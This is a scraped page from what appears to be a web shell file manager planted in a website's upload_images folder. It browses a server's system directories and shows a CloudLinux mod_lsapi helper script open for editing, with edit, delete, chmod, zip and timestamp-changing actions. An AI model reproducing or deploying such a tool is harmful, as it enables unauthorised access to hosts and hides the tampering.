REDROOM
PHP 7.4.33
Path:
Logout
Edit File
Size: 1.62 KB
Close
/home/godevadmin/public_html/upload_images/home/000~ROOT~000/usr/share/lve/modlscapi/user/exec_command.py
Text
Base64
#%copyright% import os import subprocess def first_quot(line, isquotf): if line[0] == "\"" and isquotf == 0: return 1 return 0 def last_quot(line, isquotf): if line[len(line) - 1] == '\"' and isquotf == 1: return 1 return 0 def parse_command(command): command = command.split(" ") isquot = 0 res = "" result = [] for i in range(len(command)): if command[i] != "": if first_quot(command[i], isquot) == 1: isquot = 1 res = command[i] continue if last_quot(command[i], isquot) == 1: isquot = 0 res += " " + command[i] result.append(res) continue result.append(command[i]) print(result) def exec_command(command): result = [] try: p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) while 1: output = p.stdout.readline() if not output: break if output.strip() != "": result.append(output.decode().strip()) except Exception as inst: print("Call process error: " + str(inst)) return result def exec_command_out(command): """ Run command via os.system and return its exit status :param command: Command to execute in a subshell :return: Exit status of the command process """ return os.system(command) def exec_command_find_substring(command, substring): result = exec_command(command) for i in result: if substring in i: return i return -1
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 1 × Files: 9
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
__pycache__
DIR
-
drwxr-xr-x
2025-07-28 10:58:59
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
dashboard_malfunctions.py
1.36 KB
lrw-r--r--
2025-07-19 00:13:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
exec_command.py
1.62 KB
lrw-r--r--
2025-07-19 00:13:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
lsphpchecker.ini
1.55 KB
lrw-r--r--
2025-07-19 00:13:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
lsphpchecker.py
11.02 KB
lrwxr-xr-x
2025-07-19 00:13:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
lve_diagnostic.py
12.24 KB
lrw-r--r--
2025-07-19 00:13:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
mod_lsapi_stat.py
14.70 KB
lrw-r--r--
2025-07-19 00:13:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
selector_usage_lib.py
12.87 KB
lrw-r--r--
2025-07-19 00:13:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
stat_utils.py
9.17 KB
lrw-r--r--
2025-07-19 00:13:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
switch_lsapi
27.54 KB
lrwxr-xr-x
2025-07-19 00:13:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).